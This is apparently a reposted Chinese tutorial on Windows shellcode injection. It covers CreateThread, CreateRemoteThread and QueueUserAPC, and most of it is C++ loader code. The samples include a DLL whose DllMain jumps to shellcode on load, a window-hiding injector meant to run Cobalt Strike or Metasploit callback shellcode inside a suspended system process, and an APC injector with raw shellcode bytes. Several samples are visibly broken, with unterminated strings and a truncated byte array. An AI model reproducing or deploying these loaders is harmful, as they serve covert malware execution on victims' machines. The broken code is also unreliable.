shellcode注⼊执⾏技术学习shellcode 注⼊执⾏技术学习
注⼊执⾏⽅式
CreateThread
CreateRemoteThread
QueueUserAPC
CreateThread是⼀种⽤于执⾏Shellcode的技术,⽽CreateRemoteThread和QueueUserAPC是Shellcode注⼊的形式。
以下是使⽤三种不同技术运⾏shellcode的过程的⾼级概述
CreateThread
Allocate memory in the current process
Copy shellcode into the allocated memory
Modify the protections of the newly allocated memory to allow execution of code from within that memory space
Create a thread with the base address of the allocated memory segment
Wait on the thread handle to return
翻译:
1、在当前进程中分配内存
2、将shellcode复制到分配的内存中
3、修改新分配的内存的保护,以允许从该内存空间中执⾏代码
4、⽤分配的内存段的基地址创建⼀个线程
5、等待线程句柄返回
⽰例代码:
// dllmain.cpp : 定义 DLL 应⽤程序的⼊⼝点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "shellcode"; //CS或msf⽣成的shellcode
DWORD  WINAPI  ceshi(LPVOID pParameter)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://初次调⽤dll时执⾏下⾯代码
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
int a;
a = 0;
}
CreateRemoteThread
Get the process ID of the process to inject into
Open the target process
Allocate executable memory within the target process
Write shellcode into the allocated memory
Create a thread in the remote process with the start address of the allocated memory segment
翻译:
createprocessa1、获取要注⼊的进程的进程ID
2、打开⽬标进程
3、在⽬标进程内分配可执⾏内存
4、将shellcode写⼊分配的内存
5、使⽤分配的内存段的起始地址在远程进程中创建线程
⽰例代码:
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隐藏运⾏程序时的cmd窗⼝
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使⽤CS或msf⽣成的C语⾔格式的上线shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址设置为⾃⼰shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;
//获取系统路径,拼接字符串到的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\");
//打印注⼊提⽰
// printf("被注⼊的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建进程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调⽤ResumeThread函数被调⽤时才运⾏。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//远程线程注⼊过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:创建进程并将shellcode写⼊进程内存\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
QueueUserAPC
Get the process ID of the process to inject into
Open the target process
Allocate memory within the target process
Write shellcode into the allocated memory
Modify the protections of the newly allocated memory to allow execution of code from within that memory space
Open a thread in the remote process with the start address of the allocated memory segment
Submit thread to queue for execution when it enters an “alertable” state
Resume thread to enter “alertable” state
翻译:
1、获取要注⼊的进程的进程ID
2、打开⽬标进程
3、在⽬标进程内分配内存
4、将shellcode写⼊分配的内存
5、修改新分配的内存的保护,以允许从该内存空间中执⾏代码
6、使⽤分配的内存段的起始地址在远程进程中打开⼀个线程
7、进⼊“可更改”状态时将线程提交到队列中以供执⾏
8、恢复线程以进⼊“可更改”状态
⽰例代码:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
printf("shellAddress is: %p\n", shellAddress);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
Sleep(1000 * 2);
}
return 0;
}
参考资料
你可以在以下链接学到更多知识

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。